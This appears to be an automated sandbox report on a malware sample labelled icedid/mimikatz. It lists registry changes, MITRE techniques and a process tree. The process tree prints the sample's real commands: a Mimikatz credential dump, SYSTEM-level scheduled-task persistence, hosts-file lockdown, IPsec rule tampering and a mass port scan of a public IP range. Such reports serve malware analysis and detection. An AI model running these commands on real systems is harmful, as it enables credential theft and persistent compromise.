Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yqiwma.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jirnzjt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jirnzjt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	llefvytvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4336	PING.EXE
1476	cmd.exe

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x000a000000023b93-6.dat	nsis_installer_2
behavioral2/files/0x0009000000023bcb-15.dat	nsis_installer_1
behavioral2/files/0x0009000000023bcb-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	jirnzjt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	jirnzjt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	jirnzjt.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	jirnzjt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	jirnzjt.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	vrlgkrtsk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	vrlgkrtsk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	jirnzjt.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	jirnzjt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	jirnzjt.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	jirnzjt.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4336	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1128	schtasks.exe
1212	schtasks.exe
4712	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
3936	2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3936	2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	776	jirnzjt.exe
Token: SeDebugPrivilege	836	jirnzjt.exe
Token: SeDebugPrivilege	1116	vfshost.exe
Token: SeDebugPrivilege	4684	vrlgkrtsk.exe
Token: SeLockMemoryPrivilege	4400	jngiyk.exe
Token: SeLockMemoryPrivilege	4400	jngiyk.exe
Token: SeDebugPrivilege	2864	vrlgkrtsk.exe
Token: SeDebugPrivilege	444	vrlgkrtsk.exe
Token: SeDebugPrivilege	4004	vrlgkrtsk.exe
Token: SeDebugPrivilege	3548	vrlgkrtsk.exe
Token: SeDebugPrivilege	4836	vrlgkrtsk.exe
Token: SeDebugPrivilege	4312	vrlgkrtsk.exe
Token: SeDebugPrivilege	2236	vrlgkrtsk.exe
Token: SeDebugPrivilege	3644	vrlgkrtsk.exe
Token: SeDebugPrivilege	3152	vrlgkrtsk.exe
Token: SeDebugPrivilege	4084	vrlgkrtsk.exe
Token: SeDebugPrivilege	2968	vrlgkrtsk.exe
Token: SeDebugPrivilege	4108	vrlgkrtsk.exe
Token: SeDebugPrivilege	4420	vrlgkrtsk.exe
Token: SeDebugPrivilege	4176	vrlgkrtsk.exe
Token: SeDebugPrivilege	4460	vrlgkrtsk.exe
Token: SeDebugPrivilege	5076	vrlgkrtsk.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3936	2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe
3936	2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe
776	jirnzjt.exe
776	jirnzjt.exe
836	jirnzjt.exe
836	jirnzjt.exe
3260	xohudmc.exe
3156	yqiwma.exe
2436	jirnzjt.exe
2436	jirnzjt.exe
2340	jirnzjt.exe
2340	jirnzjt.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3936 wrote to memory of 1476	3936	2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe	85
PID 3936 wrote to memory of 1476	3936	2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe	85
PID 3936 wrote to memory of 1476	3936	2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe	85
PID 1476 wrote to memory of 4336	1476	cmd.exe	88
PID 1476 wrote to memory of 4336	1476	cmd.exe	88
PID 1476 wrote to memory of 4336	1476	cmd.exe	88
PID 1476 wrote to memory of 776	1476	cmd.exe	96
PID 1476 wrote to memory of 776	1476	cmd.exe	96
PID 1476 wrote to memory of 776	1476	cmd.exe	96
PID 836 wrote to memory of 1536	836	jirnzjt.exe	98
PID 836 wrote to memory of 1536	836	jirnzjt.exe	98
PID 836 wrote to memory of 1536	836	jirnzjt.exe	98
PID 1536 wrote to memory of 3120	1536	cmd.exe	100
PID 1536 wrote to memory of 3120	1536	cmd.exe	100
PID 1536 wrote to memory of 3120	1536	cmd.exe	100
PID 1536 wrote to memory of 3792	1536	cmd.exe	101
PID 1536 wrote to memory of 3792	1536	cmd.exe	101
PID 1536 wrote to memory of 3792	1536	cmd.exe	101
PID 1536 wrote to memory of 1716	1536	cmd.exe	102
PID 1536 wrote to memory of 1716	1536	cmd.exe	102
PID 1536 wrote to memory of 1716	1536	cmd.exe	102
PID 1536 wrote to memory of 3460	1536	cmd.exe	103
PID 1536 wrote to memory of 3460	1536	cmd.exe	103
PID 1536 wrote to memory of 3460	1536	cmd.exe	103
PID 1536 wrote to memory of 2424	1536	cmd.exe	104
PID 1536 wrote to memory of 2424	1536	cmd.exe	104
PID 1536 wrote to memory of 2424	1536	cmd.exe	104
PID 1536 wrote to memory of 4052	1536	cmd.exe	105
PID 1536 wrote to memory of 4052	1536	cmd.exe	105
PID 1536 wrote to memory of 4052	1536	cmd.exe	105
PID 836 wrote to memory of 2200	836	jirnzjt.exe	113
PID 836 wrote to memory of 2200	836	jirnzjt.exe	113
PID 836 wrote to memory of 2200	836	jirnzjt.exe	113
PID 836 wrote to memory of 2372	836	jirnzjt.exe	115
PID 836 wrote to memory of 2372	836	jirnzjt.exe	115
PID 836 wrote to memory of 2372	836	jirnzjt.exe	115
PID 836 wrote to memory of 2812	836	jirnzjt.exe	117
PID 836 wrote to memory of 2812	836	jirnzjt.exe	117
PID 836 wrote to memory of 2812	836	jirnzjt.exe	117
PID 836 wrote to memory of 1496	836	jirnzjt.exe	122
PID 836 wrote to memory of 1496	836	jirnzjt.exe	122
PID 836 wrote to memory of 1496	836	jirnzjt.exe	122
PID 1496 wrote to memory of 4640	1496	cmd.exe	124
PID 1496 wrote to memory of 4640	1496	cmd.exe	124
PID 1496 wrote to memory of 4640	1496	cmd.exe	124
PID 4640 wrote to memory of 1212	4640	wpcap.exe	125
PID 4640 wrote to memory of 1212	4640	wpcap.exe	125
PID 4640 wrote to memory of 1212	4640	wpcap.exe	125
PID 1212 wrote to memory of 3032	1212	net.exe	127
PID 1212 wrote to memory of 3032	1212	net.exe	127
PID 1212 wrote to memory of 3032	1212	net.exe	127
PID 4640 wrote to memory of 4836	4640	wpcap.exe	128
PID 4640 wrote to memory of 4836	4640	wpcap.exe	128
PID 4640 wrote to memory of 4836	4640	wpcap.exe	128
PID 4836 wrote to memory of 1936	4836	net.exe	130
PID 4836 wrote to memory of 1936	4836	net.exe	130
PID 4836 wrote to memory of 1936	4836	net.exe	130
PID 4640 wrote to memory of 2892	4640	wpcap.exe	131
PID 4640 wrote to memory of 2892	4640	wpcap.exe	131
PID 4640 wrote to memory of 2892	4640	wpcap.exe	131
PID 2892 wrote to memory of 2312	2892	net.exe	133
PID 2892 wrote to memory of 2312	2892	net.exe	133
PID 2892 wrote to memory of 2312	2892	net.exe	133
PID 4640 wrote to memory of 4628	4640	wpcap.exe	134

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2140
- C:\Windows\TEMP\ibnltisvu\jngiyk.exe
  "C:\Windows\TEMP\ibnltisvu\jngiyk.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4400

C:\Users\Admin\AppData\Local\Temp\2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-17_81594235e04702f3a03119b34701dd79_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3936
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\mgifenbt\jirnzjt.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4336
- - C:\Windows\mgifenbt\jirnzjt.exe
    C:\Windows\mgifenbt\jirnzjt.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:776

C:\Windows\mgifenbt\jirnzjt.exe
C:\Windows\mgifenbt\jirnzjt.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:836
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3120
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3792
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1716
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3460
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2424
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:4052
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2200
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2372
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2812
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\etqajulug\ekithtuut\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Windows\etqajulug\ekithtuut\wpcap.exe
    C:\Windows\etqajulug\ekithtuut\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:4640
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1212
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:3032
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4836
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1936
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2892
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2312
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4628
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2524
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1912
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3292
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2960
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1216
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:3984
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\etqajulug\ekithtuut\llefvytvt.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\etqajulug\ekithtuut\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5016
- - C:\Windows\etqajulug\ekithtuut\llefvytvt.exe
    C:\Windows\etqajulug\ekithtuut\llefvytvt.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\etqajulug\ekithtuut\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:4384
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\etqajulug\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\etqajulug\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:3852
- - C:\Windows\etqajulug\Corporate\vfshost.exe
    C:\Windows\etqajulug\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1116
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "mgifbllvi" /ru system /tr "cmd /c C:\Windows\ime\jirnzjt.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4664
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3416
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "mgifbllvi" /ru system /tr "cmd /c C:\Windows\ime\jirnzjt.exe"
    3⤵
    - System Location Discovery: System Language Discovery
